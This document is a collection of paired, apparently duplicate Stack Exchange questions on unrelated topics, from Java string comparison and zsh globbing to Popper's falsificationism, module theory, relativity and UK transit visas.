I made a timer which checks if my twitch.tv stream is offline or not.   the method get executed all 30 seconds.  If my stream is online the bot will automatically connect to my Stream.  If my Stream if offline there's an INT which will go +1 all 30 seconds and if it reaches 10 which are 5 minutes the bot should just part the IRC channel.  but somehow, the bot continues on counting.  Did i made any faults with my if/else statements?  As soon my Stream is offline, bot starts counting all 30 seconds +1 as it should. but when it reaches 10 it just goes higher... its now at 30 already for example but i'm not sure why it doesn't part the channel.  Here is my function;  public void livemodetimer() {        if(livemode == "off" && TwitchStatus.isstreamlive){         livemode = "on";      }else       if(livemode == "on" && TwitchStatus.isstreamlive == false){         zaehler = zaehler+1;           System.out.println("Stream Offline Counter. Disconnect bei (10).  Aktuell:"+zaehler);      }else          if(livemode == "on" && TwitchStatus.isstreamlive == true){             zaehler = 0;       if(zaehler >= 10){         livemode = "off";         zaehler = 0;     }        if (TwitchStatus.isstreamlive && livemode == "on" && multistartprepare == false){     joinChannel("#"+YBot.MyBot.ownerchannel+"");     multistartprepare = true;     startup();     }      if(TwitchStatus.isstreamlive == false && livemode == "off" && multistartprepare == true){           sendMessage("#"+YBot.MyBot.ownerchannel+"","Da der Stream Offline ist verzieh ich mich mal =) Bye!!");     partChannel("#"+YBot.MyBot.ownerchannel+"");     multistartprepare = false;     zaehler = 0;      TTmsg.cancel();     TTmsg.purge();     } }   Does anyone have an idea why it doesn't call the partchannel stuff when it reaches 10.  Edited Version Below:  public void livemodetimer() {        if(livemode == false && TwitchStatus.isstreamlive){         livemode = true;      }else       if(livemode && TwitchStatus.isstreamlive == false){         zaehler = zaehler+1;           System.out.println("Stream Offline Counter. Disconnect bei (10).  Aktuell:"+zaehler);      }else       if(livemode && TwitchStatus.isstreamlive == true){         zaehler = 0;     }       if(zaehler >= 10){         livemode = false;         zaehler = 0;     }        if (TwitchStatus.isstreamlive && livemode && multistartprepare == false){     joinChannel("#"+YBot.MyBot.ownerchannel+"");     multistartprepare = true;     startup();     }      if(TwitchStatus.isstreamlive == false && livemode == false && multistartprepare){           sendMessage("#"+YBot.MyBot.ownerchannel+"","Da der Stream Offline ist verzieh ich mich mal =) Bye!!");     partChannel("#"+YBot.MyBot.ownerchannel+"");     multistartprepare = false;     zaehler = 0;      TTmsg.cancel();     TTmsg.purge();     }     }

I've been using the == operator in my program to compare all my strings so far. However, I ran into a bug, changed one of them into .equals() instead, and it fixed the bug.  Is == bad? When should it and should it not be used? What's the difference?


Karl Popper is mostly known for his falsification principle. I'm very familiar with his account and I understand it well. I've heard multiple times that there are some real issues with this account and that there are many problems with it. I've googled that and I've read something or two about the criticisms provided by later philosophers like Lakatos.   My question is, What are the real problems that face Popper's account?  both explanations and  resources to read about those difficulties are welcomed.

Popper popularized the notion that empirical science can not be verified, only falsified. Isn't he right? How can someone verify a theory? To me, it does not seem possible. However, you can easily falsify a theory. I've searched the web for some answers and have not come across anything that I find satisfying. It seems like people don't like the fact that we should perform 'science' based on falsification. Can someone clarify the issues with Popper's theory?


I am a high school math teacher with some basic physic/lay person knowledge.  Each year after the AP test, I show the movies Flatland and Sphereland to my calculus classes and talk about the dimensions of our universe.   I know that there have been discussions of our universe having multiple dimensions other than the basic 3 with string theory and other theories. I believe that I also read that general consensus is that our universe tends more towards a Euclidean shape rather than an elliptical or hyperbolic type universe.  I also show a short Youtube video that is a hands-on exploration of gravity and how massive objects "warp" space-time to create gravity wells of some sort.  My question is this: If massive object really do warp space to create a gravity well model, is the universe warped in some 4th dimension that we don't notice similar to how the earth is essentially a 2d surface warped in the 3 dimension that we don't notice?  I don't treat what I tell them as the gospel truth, I just try to share what I've read and encourage them to study the ideas more if they are intrigued by the concepts.  Anything that could be shared so I can enlighten my students further would be great.

I'm a layman, but i watched some intereting videos about big bang on youtube[michio kaku, hawking this kind of things, not some crackpots :)]   I described everything on my picture:     So is there any possibility to see that inner side, for example, by creating wormhole, or entering new dimension? Or i get something wrong, on the way, and my model is totally wrong?  And another question. I heard that even if you would fly a ship across the universe you would eventually end in the place where you started, because we live in a 3d space that is defined on a surface of big sphere. But why a big sphere? Universe might be a big mobius strip, and the same principle of ending at start will apply. Is it possible?  Thanks in advance, and please don't bash me for silly questions. Im just curious, but i don't have any degree in physics. Im also not an english native speaker.


Suppose $A=M_n(D)$, i.e. n by n matrices over a division algebra $D$.  We want to prove that:    $D^n$ (viewed as row vectors) is a simple right $A$-module and  any other simple $A$-module is isomorphic to it.   How do we go about proving this?  My attempt: $D^n$ is clearly a right $A$-module, we need to prove it is simple, i.e. has no nonzero submodules.  Let $C_1\times C_2\times \dots\times C_n$ be a nonzero submodule of $D^n$, where $C_i\subseteq D$.  $(c_1,c_2,\dots,c_n)\begin{pmatrix}d & 0 & \dots & 0\\0 & \dots\\\dots\\0 & \dots & \dots & 0\end{pmatrix}=(c_1d,0,\dots,0)\in C_1\times C_2\times\dots\times C_n$ for all $d\in D$. This means $c_1d\in C_1$ for all $d\in D$.  Since $D$ is a simple $D$-module, $D$ is a minimal right ideal, so $D\subseteq C_1$. Thus $C_1=D$. Similarly $C_2=C_3=\dots C_n=D$. Thus the only nonzero submodule of $D^n$ is $D^n$ itself, i.e. $D^n$ is a simple module.  Let $X_1\times X_2\times X_n$ where each $X_i$ is a $D$-module (is this correct?) be another simple $A$-module. Using exactly the same method, we can conclude that $X_i=D$ for all $i$?  Thanks for help.

I've a basic question.      $R$ is a simple left artinian ring. I want to show that all simple left $R$-modules are isomorphic.    A simple $R$-module $M$ is isomorphic to $R/J$ where $J$ is a maximal left ideal of $R$. Does this imply that $M\cong Ra$ for some $a\in R$, $a\neq 0$?   Many thanks.


My root partition is 25GB and I was just notified that I have almost used it all. >df -h df: /run/user/1000/doc: Operation not permitted Filesystem      Size  Used Avail Use% Mounted on tmpfs           791M  2.4M  789M   1% /run /dev/sda5        23G   20G  1.8G  92% / tmpfs           3.9G  7.0M  3.9G   1% /dev/shm tmpfs           5.0M  4.0K  5.0M   1% /run/lock tmpfs           4.0M     0  4.0M   0% /sys/fs/cgroup /dev/sda2        95M   33M   63M  35% /boot/efi /dev/sda7       117G   14G   98G  13% /home /dev/sdb2       931G   19G  912G   3% /data tmpfs           791M  188K  791M   1% /run/user/1000  As you can see I have used 92% of the partition, and this is after having already ran sudo apt-get clean. I see that so many people recommend a root partition size of 25GB, so does this mean I have some sort of problem? Or should I increase the size of my root partition somehow? Side note, if it makes any difference, it seems that a big chunk of the space is taken up by the /usr (13.0 GB), /var (6.3 GB), and /home (14.3 GB? (I don't know how this is possible since the root partition is only 25GB to begin with. Perhaps this /home folder is just a link to the actual /home directory?)) directories.

Previously, I have installed Windows 7 on my 320 GB laptop with three partitions 173, 84 and 63 GB each. The 63 GB partition was where the Windows was installed. The rest were for file containers.  Now I changed my OS to Ubuntu 12.04 LTS. I installed Ubuntu by replacing the entire Windows 7 on the 63 GB partition. The rest of the partitions remain as an NTFS Windows partition and I can still access them both (the 173 and 84 GB partitions).  Now I want to change the two partitions of Windows into an Ubuntu format partitions plus most importantly, I want to extend the 63 GB partition to more than a 100 GB because at the moment I am running out of disk space. Whenever I try to install any application, especially using wine, it always complains for a shortage of disk space.  How do I do the extending activity before I entirely format my laptop again and lose all the important files on my partitions?


I've recently started exploring some of the newer sites within the network, and notice that I haven't received the usual 100pt "association bonus" on all those that I have joined (Sustainability and Travel being two cases in point - I'd link to my profiles, but I'm using the mobile app and can't easily obtain links).  I'm not in the slightest bit bothered - am merely curious: what are the criteria for earning an association bonus?    EDIT  Okay, that's strange.  The problem appears to be in the Android app—last night a different bunch of sites were shown with only 1 rep, but right now it's just [ux.se] (why isn't that markup shortcut working btw?):

I have 101 rep on  and am not suspended there. But the site switcher thinks I only have 1 rep there:     I noticed this after I .   To test this, I just added Expats and Reverse Engineering to my site switcher list. On both of those sites I have 101 rep and am not suspended. Results:    Huh?


Does there exist the following limitation? If the answer is yes, could you show me how to find that? $$\lim_{n\to\infty} e^{-n}\sum_{k=0}^n \frac{n^k}{k!}$$  In the following, I'm going to write what I've done.  By Taylor expansion,  $$e^x=\sum_{k=0}^n \frac{x^k}{k!}+\frac{1}{n!}\int_{0}^x (x-t)^ne^tdt.$$  Letting $x=n$, $$e^n=\sum_{k=0}^n \frac{n^k}{k!}+\frac{1}{n!}\int_{0}^n (n-t)^ne^tdt.$$  Dividing the both sides by $e^n$,  $$1=e^{-n}\sum_{k=0}^n \frac{n^k}{k!}+\frac{e^{-n}}{n!}\int_{0}^n (n-t)^ne^tdt.$$   Hence, I know that what I need to do is to find the following limitation: $$\lim_{n\to\infty}\frac{e^{-n}}{n!}\int_{0}^n (n-t)^ne^tdt$$  However, I'm facing difficulty. I need your help.

I'm supposed to calculate: $$\lim_{n\to\infty} e^{-n} \sum_{k=0}^{n} \frac{n^k}{k!}$$ By using WolframAlpha, I might guess that the limit is $\frac{1}{2}$, which is a pretty interesting and nice result. I wonder in which ways we may approach it.


In Rogue One, the Guardians of the Whills were mentioned. According to , they were the protectors of the ancient Temple of the Kyber.  was also known as the Temple of the Whills, or simply the Kyber temple.   Does this mean that in Disney canon "a Whill" is equivalent to "a Kyber (crystal)"? In Legends, Whills were an alien species of Force shamans, but was this changed for the current canon?

I know what the  is, but I haven't found a lot of information as to their nature, such as where they came from, what they're capable of, or, most importantly, what they actually are.  Are they deities, or are they the pinnacle of being connected to the Force, or are they the next (or final) step for those who become Force ghosts?  Are they Force itself?  I've oft-heard people refer to the "will of the Force," so that makes me curious if it's actually their will.  ** I feel that it is important to mention that there is a common misconception that Yoda is a Whill.  George Lucas has strongly denied this.  Yoda's race is a mystery to fans, as far as I am aware, as Lucas has not revealed it yet.


Suppose that $a$ and $b$ belong to a commutative ring $R$. If $a$ is a unit of $R$  and $b^{2}=0$ . Show that $a+b$ is a unit of $R$  I try it..  consider $(a+b)(b)=ab+b^{2}=ab=1$ Since a is unit

If $ua = au$, where $u$ is a unit and $a$ is a nilpotent, show that $u+a$ is a unit.   I've been working on this problem for an hour that I tried to construct an element $x \in R$ such that $x(u+a) = 1 = (u+a)x$. After tried several elements and manipulated $ua = au$, I still couldn't find any clue. Can anybody give me a hint?


I have a directory containing several files:  $ ls tdir xx  yy zz   I'm looking for a zsh glob pattern, which expands to all (non-dot)-files except xx. This is what I tried:  $ set -o EXTENDED_GLOB $ echo tdir/*~xx tdir/xx tdir/yy tdir/zz   As we can see, this does not work; *~xx is not expanded in the way I expected. How do I write this correctly?

Say I have the following files:   |-- bar `-- foo     |-- type_A_1     |-- type_A_2     |-- type_B_1     |-- type_B_2     |-- type_B_xx     |-- type_B_xx     `-- something_else    I thought the following command  print -l foo/*~{type_B*}   would print everything under foo except things that start with type_B but it doesn't, instead it prints everything under foo:  foo/type_A_1 foo/type_A_2 foo/type_B_1 foo/type_B_2 foo/type_B_xx foo/something_else   I also tried print -l foo/*~type_B and got the same thing.  How does the exception wildcard ~ work in zsh?


Edit: my question was marked as duplicate of "How can I prevent my mail from being classified as spam?". My messages are not classified as spam but updates or promotions. Setting SPF, domain keys, not using fake address or putting unsubscribe link was solution to question of which my question is allegedly duplicate.  I run a website with a simple contact form. Client asks a question, system sends it via email to official company's mail, and somebody answers the question. Reply is sent directly to client's email (TO field, not CC or BCC) from company's main email address.   We have a lot of complaints that we don't reply to emails, but we do. After short investigation it came out that our replies are marked by GMail as promotions or updates and are not shown in clients' inboxes.  Problem is we do not send adverts etc, we have commercial email account and provider doesn't add anything to our emails. Replies are send via provider's mail server.  Typical message looks like:     TO: client's-mail@gmail.com       FROM: office@company-domain.com      Re: Question asked by contact form      Hello,   This is my reply to client, written by human.      Jane Doe, Company-name   Street 12345   Postal-Code City Country   tel.+00 000 000 000   fax: +00 000 000 000   www.company-domain.com      The information transmitted is intended only for the person or company to which it is addressed and   may contain confidential and privileged material.  Any   review,dissemination, retransmission, or other use of, or taking of   any action in reliance upon, this information by persons or companies   other than the intended recipient is prohibited. If you received this   in error, please contact the sender and delete the material from any computer.      -----here is the same info about about privileged materials, but in polish----      7 nov 2014 o 18:14 Client  wrote:      Hi, this is my question.   What shall I do to prevent GMail from marking my messages as promotions and put my messages to client's inbox? Why message like this is classified as promotion anyway? We do not send newsletters or send mass correspondence.

When sending or forwarding emails using a personal or company domain using a  website or email client, how do I prevent the email from being incorrectly marked as spam?


This question is about object instantiations in C++. There are several ways to instantiate objects both on heap and on stack I am curious to know the subtle differences.   using namespace std;  class Raisin { private:     int x; public:     Raisin():x(3){}     Raisin(int input):x(input){}     void printValue()     {        cout<< "hey my Deliciousness is: " << x <<endl;     } };   Basically Raisin is a simple class that I am using for this demonstration:  int main() {  Raisin * a= new Raisin; a->printValue();  Raisin * b= new Raisin{}; b->printValue();  Raisin * c= new Raisin(); c->printValue();  Raisin x; x.printValue();  Raisin y{}; y.printValue();  Raisin z(); z.printValue();  //error: request for member 'printValue' in 'z',  //which is of non-class type 'Raisin()'   Raisin alpha(12); alpha.printValue();  Raisin omega{12}; omega.printValue();  return 0; }   I would like to know why Raisin * c can be instantiated with empty parenthesis, but  but Raisin z cannot be. (Actually Raisin z() is legal but incorrect)  Also I understand there is a subtle difference between Raisin (2) and Raisin{2}. I would appreciate if someone can shed light on the idiosyncrasies.

Is there any good reason that an empty set of round brackets (parentheses) isn't valid for calling the default constructor in C++?  MyObject  object;  // ok - default ctor MyObject  object(blah); // ok  MyObject  object();  // error   I seem to type "()" automatically everytime. Is there a good reason this isn't allowed?


I have a math question where I am to show, using induction, that $n!> n^{3}$, $n\geq 6$ i) I have shown that $LHS > RHS$ for $n=6$ $$720 > 216$$ ii) Set $n=p$ and assume that $p!> p^{3}$ iii) set $n=p+1$ $$(p+1)!>(p+1)^{3}$$ by the assumption we know that $$(p+1)p! > (p+1)p^{3}$$ this is where I am stuck and would appreciate some help.

Prove by induction: Find a, and prove the postulate by mathematical induction.  $$\text{For all}~ n > a,~ n! > n^3$$  Where ! refers to factorial.  So far I've done a bit of it, I'll skip right to the inductive statement and assume that $k! > k^3$, then try to prove $(k+1)! > (k+1)^3$  Inductive statement: $(n+1)! > (n+1)^3$  $(n+1)^3= n^3 + 3n^2 + 3n + 1 < n! + 3n^2 + 3n + 1$ (By Induction Hypothesis)  ...But now I'm stuck. Does anyone know where to go next?


This may seem like a silly question.  Imagine an object moving at uniform velocity in isolation. Since this is an isolated system, the total energy (kinetic + internal) will remain constant, according to the first law of thermodynamics. However, according to the second law of thermodynamics, entropy in an isolated system will spontaneously evolve towards the maximum. This means the objects kinetic energy should be transferred as heat to thermal energy, as that will maximize entropy.   Obviously, this doesn't happen. In fact, it would violate Newton's first law if it did. But is there an intuitive explanation for why this doesn't violate the second law of thermo, and why Newton's first law "wins out" in the end?

From the second law of thermodynamics:       The second law of thermodynamics states that the entropy of an   isolated system never decreases, because isolated systems always   evolve toward thermodynamic equilibrium, a state with maximum entropy.   Now I understand why the entropy can't decrease, but I fail to understand why the entropy tends to increase as the system reach the thermodynamic equilibrium. Since an isolated system can't exchange work and heat with the external environment, and the entropy of a system is the difference of heat divided for the temperature, since the total heat of a system will always be the same for it doesn't receive heat from the external environment, it's natural for me to think that difference of entropy for an isolated system is always zero. Could someone explain me why I am wrong?   PS: There are many questions with a similar title, but they're not asking the same thing.


I want to install some packages without internet connection.  Please suggest the ways to copy already installed packages on "System1" to "System2" (System2 without internet connection).

I have a friend who has got a computer that is not connected to the Internet. Is there any way to install software offline easily?


How can I make a light material which is seen as a focus?

I'm using a Spotlight on one of my scenes, first I planned to make the effect of the lightrays on other editing software, but maybe it's possible on Blender. It is possible to make a spotlight look like the image below? (also, I'm using cycles)  Thanks in regard! :)


If evolution gives us the best adapted organisms for survival of the fittest, why does so many of Earth's organisms require two sexes for reproduction?  Shouldn't this have been bred out of our populations millennia ago?

Why, from the natural selection point of view, do only two sexes exist for animals?


Let IG denote Inverse-Gamma distribution   .   If $X\sim IG(\alpha,1)$ and $Y\sim IG(\beta,1)$. Show that   $\frac{X}{X+Y}\sim Beta(\alpha,\beta)$   I tried with jacobian transformation taking $Z=\frac{X}{X+Y}$ and $W=Y$ then $$X=\frac{WZ}{1-Z};Y=W$$  $$\frac{\partial(z,w)}{\partial(x,y)}=\frac{1}{(1-z)^2}$$  $$f_{z,w}(z,w)=f_x(\frac{wz}{1-z})f_y(w)(1-z)^2$$ $$f_{z,w}(z,w)=\frac{1}{\Gamma{(a)}}(\frac{wz}{1-z})^{-\alpha-1}e^{-\frac{(1-z)}{wz}}\frac{1}{\Gamma{(\beta)}}w^{-\beta-1}e^{-\frac{1}{w}}(1-z)^2$$  but I'm stuck, in some place I read that $\frac{X}{X+Y}$ is a type 3 Beta distribution, but I can't show that.

Disclaimer: I'm not a statistician but a software engineer. Most of my knowledge in statistics comes from self-education, thus I still have many gaps in understanding concepts that may seem trivial for other people here. So I would be very thankful if answers included less specific terms and more explanation. Imagine that you are talking to your grandma :)  I'm trying to grasp the nature of beta distribution – what it should be used for and how to interpret it in each case. If we were talking about, say, normal distribution, one could describe it as arrival time of a train: most frequently it arrives just in time, a bit less frequently it is 1 minute earlier or 1 minute late and very rarely it arrives with difference of 20 minutes from the mean. Uniform distribution describes, in particular, chance of each ticket in lottery. Binomial distribution may be described with coin flips and so on. But is there such intuitive explanation of beta distribution?    Let's say, $\alpha=.99$ and $\beta=.5$. Beta distribution $B(\alpha, \beta)$ in this case looks like this (generated in R):     But what does it actually mean? Y-axis is obviously a probability density, but what is on the X-axis?   I would highly appreciate any explanation, either with this example or any other.


My Dell two in one laptop can be opened beyond 180 degrees to make an easel. However thi inverts the monitor. This is my prefered way of working with it at my desk at work where I have an external monitor mouse and keyboard.  When I boot into windows I can rotate the screens with Ctrl+Alt+Arrow Key. On Ubuntu it seems I have command line tools, and the System Panel shown below.    Since I often swap between a normal laptop and easel configuration, I'd prefer a keyboard shortcut to rotate the monitors if possible.

While looking if someone asked this question before, I landed on .  I'd like to do something similar (shortcut or terminal alias/command) on Linux/Ubuntu to be able to quickly switch the external monitor between landscape and portrait mode instead of having to go to Displays setting it and confirming the configuration.  Jacob Vlijm provided a  which works. If you have another idea I'd love to know about it.  Update: I have updated Jacob's script to work .


Hello :) I'm a 12th grade student and I often ask myself, the speed of light is 299 792 458 m / s An object with a mass m and a constant force F has a acceleration a = F/m, for exemple, an object A with a mass m = 10kg gets a constant acceleration F = 100N, it has an acceleration a = 100/10 = 10 m/s², so why does the object A doesn't go from 0m/s to an infinite value, indeed:  299 792 458 / 10 = 299 792 45,8 s so why with more than 299 792 45,8 s the Object velocity doesn't go further? Does it mean that the formula F = ma is not true for big value ? :o

Newton's second law of motion states that $f = ma$. However, in this equation, theoretically there could be a value of $f$ and $m$ that results in an acceleration that is enough to push an object past the speed of light. In my case I have a value of newtons that is large enough (I think) to accelerate an object past the speed of light if $f=ma$ held. Is there any way, knowing that value of newtons, and the mass of the object it is acting on to find the acceleration in an Einsteinian universe?


Why is though placed behind the sentence     I wouldn't say so, though.   . ( I constructed this sentence by myself)  Because I thought though  more or less get the same meaning with although? Or it's ok to place it also in front of the sentence?   Ex :      Though I wouldn't say so.   Perhaps I just get influenced with my languange rule that we can't put "though" at the end of the sentence (assuming though gets the sense of although or even though) so I feel a bit cumbersome mention it at the end of the sentence.  What is the difference between both sentences?

Ok, English textbooks mostly teach the structure "Although / though", for example,   Although my wife and I are so busy,we spend time together every weekend.  Anne was fond of Tim, though he often annoyed her.    However, in reality, I heard a lot of people use "though" at the end of a sentence. So, I checked the dictionary & found that "Although" & "Though" in the above examples are conjunction. But, from , "Though" is used especially at the end of a sentence to add a fact or an opinion that makes the previous statement less strong or less important Example:  Our team lost. It was a good game though.  But, for me, It seems that "Though" that is used at the end of a sentence is more popular than "Though" that is used at the start of a sentence.


Let $A = \{1, 2, 3, ..., p-1\}$ where $p$ is prime. Prove that for any $k \in A$ there exists another $l \in A$ such that $kl \equiv 1\pmod p$.  Here's an example where $p = 5$:  $1 \times 1 \equiv 1\pmod 5$  $2 \times 3 \equiv 1\pmod 5$  $4 \times 4 \equiv 1\pmod 5$  The solutions for $k = 1$ and $k = p-1$ are obvious, but I can't find a general formula for the other ones.

The question is     Suppose p is a prime number and p does not divide a. Prove that the congruence $ax \equiv 1 \mod p$ has a solution   (Without using Fermat's Theorem), I can intuitively tell this is true because since $p$ is prime, every $x < p$ is co-prime to it, thus $$x \mod p$$  Will produce a unique integer for each $x \in \{0, 1, 2, .... p-1\}$, before it cycles over again at $p$. Clearly, some $x$ must have that $x \mod p = 1$. However, I don't know how to prove this for $ax$, mainly because I can't prove the ramifications it can have on the mod cycle. What I do know is that if for some $x$, we have: $$ax \equiv ay \mod p$$ Then since $p$ doesn't divide $a$ (by question assumption), it must divides $x - y$, implying that the solution for $ax \equiv 1 \mod p$ only depends on $x$, however, I don't know how to show this rigorously. Could anyone enlighten me?


In the code below using the FAU Thesis template found , my Bibliography is not getting generated.  I have the chapters.bib file in folder named "References". CODE \documentclass[phd, 12pt, print]{fauthesis}  \usepackage{lipsum}   %====================================================================================== %   BIBLIOGRAPHY %====================================================================================== \usepackage[backref=false,             defernumbers=true,             style = ieee,             %sorting=none,             sortcites=true,             backend=biber]{biblatex} \renewbibmacro{in:}{} \addbibresource{../References/chapters.bib}% BibTeX \defbibheading{bibempty}{}  %%% Bibliography Formatting % % This modifies the default LaTeX thebibliography environment to: %   appear in the table of contents, and %   list individual items single-spaced. % \renewenvironment{thebibliography}[1]{%     \chapter*{\bibname\@mkboth{\bibname}{\bibname}}%     \addcontentsline{toc}{chapter}{\protect\numberline{}\bibname}%     \begin{singlespace}     \list{\@biblabel{\@arabic\c@enumiv}}%         {\settowidth\labelwidth{\@biblabel{#1}}%             \leftmargin\labelwidth\advance\leftmargin\labelsep             \@openbib@code             \usecounter{enumiv}\let\p@enumiv\@empty             \renewcommand\theenumiv{\@arabic\c@enumiv}}%         \sloppy  \clubpenalty4000  \@clubpenalty\clubpenalty  \widowpenalty4000%         \sfcode`\.\@m}     {\def\@noitemerr{\@latex@warning{Empty `thebibliography' environment}}%         \endlist\end{singlespace}}  \begin{document} \chapter{Test} \lipsum[1-3]\cite{Richardson}  %\phantomsection \begin{singlespace} \setlength\bibitemsep{10pt}   % length between two different entries \printbibliography \end{singlespace} \addcontentsline{toc}{chapter}{\protect\numberline{}\bibname}  \end{document}   I keep getting the errors: This is BibTeX, Version 0.99d (MiKTeX 21.1) The top-level auxiliary file: biblo.aux I found no \citation commands---while reading file biblo.aux I found no \bibdata command---while reading file biblo.aux I found no \bibstyle command---while reading file biblo.aux (There were 3 error messages)  This used to work up to early last year, now I cannot get my bibliography to compile properly.  Can you assist me in getting my bibliography to be generated?  Thanks!

Running the minimal example  \documentclass{article} \usepackage{filecontents} \begin{filecontents*}{\jobname.bib} @ARTICLE{example,   author  = {Other, Anthony Norman},   title   = {Some things I did},   year    = {2014},   journal = {J.~Irrep. Res.},   volume  = {1},   number  = {1},   pages   = {1-10} } \end{filecontents*} \usepackage[backend=biber]{biblatex} \addbibresource{\jobname.bib} \begin{document} Hello\cite{example}. \printbibliography \end{document}   I get the warning There were undefined references.  I have read  and know that I need to run:   LaTeX Biber LaTeX   However, my editor is only set up to run BibTeX. How do I go about setting up my editor/IDE to be able to run Biber, and how do I run the LaTeX/Biber/LaTeX cycle?  Answers (sorted alphabetically by editor name)                    Answer guidelines   Each answer should be for one editor. If the editor is cross-platform, if possible give a single answer with notes covering the minor platform variations. Please edit the question to include new answers in the 'link list' Each answer should be 'stand alone', i.e. don't say 'It's almost the same as editor Y but ...' for the editor part Instructions for 'build tools' such as arara or latexmk are welcome but should explain how to set up the editor in question as not all editors allow simple addition of arbitrary tools


public class HelloWorld{      static class Sample {         private String n;          public Sample(String n){             this.n = n;         }          public String toString(){             return n;         }     }      public static void main(String []args){         Sample k = new Sample("A");         System.out.println(k);         stuff(k);         System.out.println(k);      }       public static void stuff(Sample k){          k = new Sample("B");      } }   Why does this print AA instead of AB? I came across this from a video about C#, but apparantly java also has it.

I always thought Java uses pass-by-reference. However, I've seen a couple of blog posts (for example, ) that claim that it isn't (the blog post says that Java uses pass-by-value). I don't think I understand the distinction they're making. What is the explanation?


can you check why this code jumps to else with the conditions like e1="1", e2="2", e3=""  if (e1=="" || e2=="" || e3==""){                 Context context = getApplicationContext();                 CharSequence text = "Fill in all required fields!";                 int duration = Toast.LENGTH_SHORT;                 Toast toast = Toast.makeText(context, text, duration);                 toast.setGravity(Gravity.CENTER|Gravity.CENTER, 0, 0);                 toast.show();             }             else {                 m=Integer.parseInt(e1);                 std=Integer.parseInt(e2);                 nhv=Integer.parseInt(e3);             rsl=((std*std)*((t1+t2)*(t1+t2)))/((m-nhv)*(m-nhv));             if (Math.round(rsl) < rsl) {                 rsl = Math.round(rsl) +1;              }              else {                 rsl=Math.round(rsl);             }             et4.setText(""+rsl);         }

I've been using the == operator in my program to compare all my strings so far. However, I ran into a bug, changed one of them into .equals() instead, and it fixed the bug.  Is == bad? When should it and should it not be used? What's the difference?


Help please! I need to get number of CPU's and cores per cpu for each host server running SQL Server. Querying master.sys.dm_os_sys_info is not producing the same result as what is seen when checked on the host server.  kindly point me in the direction of a code I can use please.  What is the difference between physical_cpu and logical_cpu and which one do I need? I'm trying to calculate total cores on each machine for licensing purposes.  Can i take the number of cores returned by the query pasted below as what I need to calculate my license requirement?  In performance monitor on the server, I have sockets =2, Cores = 16, logical processors = 32. Is 16 cores what I need for my SQL 2012 and 2016 licence calculations?   Here the query that  I'm using right now: USE master;  SET NOCOUNT ON  SELECT 'physical_cpu' = cpu_count / hyperthread_ratio     ,'cores' = CASE          WHEN hyperthread_ratio = cpu_count             THEN cpu_count         ELSE (cpu_count / hyperthread_ratio) * ((cpu_count - hyperthread_ratio) / (cpu_count / hyperthread_ratio))         END     ,'logical_cpu' = CASE          WHEN hyperthread_ratio = cpu_count             THEN cpu_count         ELSE ((cpu_count - hyperthread_ratio) / (cpu_count / hyperthread_ratio))         END FROM master.sys.dm_os_sys_info  Anything better than that?

I have two servers running SQL Server.   Server 1: SQL Server 2008 R2 Express (4 core) Server 2: SQL Server 2012 Developer Edition (8 core)   As far as I am aware SQL Server 2008 R2 Express should only use one core.  SQL Server 2012 Developer version should use all 8 cores.  However if I run the following command inside of SQL query on SQL Server 2008 R2 Express it's showing 4 cores.  select scheduler_id, cpu_id, status, is_online  from sys.dm_os_schedulers  where status = 'VISIBLE ONLINE'   Am I using the right command to gauge the usage?


can you please tell me how can I execute the following command automatically on startup, instead of having to type it manually each time:  sudo thinkfan -n

I need to run a bash script at boot-time as superuser in Xubuntu. I don't know where to start. I have to do something described in a Arch Linux guide. That guide says exactly:     Add following at the end of the file : /etc/rc.sysinit   # Do my action /etc/rc.d/do_my_action  /bin/dmesg >| /var/log/dmesg.log   But I do not have /etc/rc.sysinit and /etc/rc.d/ in Xubuntu. I'm sure there are equivalent ones, right?


I have problem with one deb repository (specifically medibuntu.org) today - synaptic is not able to find repository indexes (and they are really not there - maybe due to yesterday's changes).  So I have the errors flying all over the place. I could just remove that repository - but I simply do not remember which packages came from it, so just removing it could screw my updates on some crucial package.  So, my question is - how do I find, which installed packages can not be found in any repository?

I'm trying to figure out a way to get a list of the packages that are no longer available in the repositories that I have enabled. This workstation has been through quite a few versions of Ubuntu and has had many 3rd party repositories added and removed. I'd like to get a list of software that I have from these removed repositories, so I can clean it up or add back the appropriate repositories.


So as we know Ubuntu One is sadly getting shut down. I was really happy with Ubuntu One. Instantly syncing my files and with generous 5GB of storage! Now the question is, what software have you guys used to replace U1?  I was using U1 on three devices (my ubundu desktop,my mobile and my wifes mobile) The instant syncing was really nice and it was really user friendly.  Any suggestions out there? What are you using? Is dropbox the software to go with on this?  Thanks on beforehand for any comments! I greatly appreciate the help (Off-topic Loving my Ubuntu desktop and the community is just awesome) ~Beef

Since canonical is  Ubuntu One, what are the possible alternatives?  I currently use Ubuntu One as a backup service for my Documents folder and various other folders I deem important. Of course I have backups on an external hard drive as well, but nevertheless, I find Ubuntu One to be very useful. What I'm especially looking for is a cloud service that does not need a special folder (such as a dropbox or google drive folder); something that is able to integrate into my own file system and syncs just any folder I want to.   I am aware that this question is rather subjective, but I do guess many people who have used Ubuntu One are now in the dark.


A manifold is defined to be a second countable Hausdorff space that is locally homeomorphic to Euclidean space.   It surprises me that second countably is a requirement here, because it surprises me that a space can be locally homeomorphic to $\mathbb{E}^n$ and yet not second countable. I learned at  question that the Long Line is one such example, but I'm interested in seeing more to understand them better. What are some more examples of such spaces? What properties do they have that we might want to exclude them from the notion of "manifolds"?

I've seen there are few questions similar, but I haven't seen anyone so precise or with a good answer.   I'd like to understand the reason why we ask in the definition of a manifold the existence of a countable basis. Does anybody has an example of what can go wrong with an uncountable basis? When does the problem arise? Does it arise when we want to differentiate something or does it arise before? Thank You


I will be transiting through London Heathrow airport on 2 occasions:  1) On 22 Sept 2016 BA flight from Bangalore to London, arrival at 13.05 hrs: departure at 14-55 hrs for Paris by BA flight.  2) On 11 Oct 2016 BA flight from Berlin to London, arrival at 12-10 hrs: departure at 14-25 hrs for Bangalore by BA flight.  I have confirmed British Airways tickets for entire journey. I have a valid Schengen visa. I book checked-in baggage at Bangalore and Berlin.  DO I NEED ANY TRANSIT VISA for Short Layover?

Is there a website or some other way to find out if I need a transit visa for a short stop in the UK on my way somewhere else? Ideally this should give me the answer for all nationalities, and take into account any other visas I may have.


I want my question to be deleted permanently from Stack Overflow for some reasons. I have deleted the question, but when searching in Google, it is still showing up. I don't have a reputation over 10,000 to delete. But I want it to be deleted from my account. Can anybody help me on this?

Is it possible that I can delete questions in SO which have 3 answers and some comments? Due to privacy concern, I definitely need to delete that.


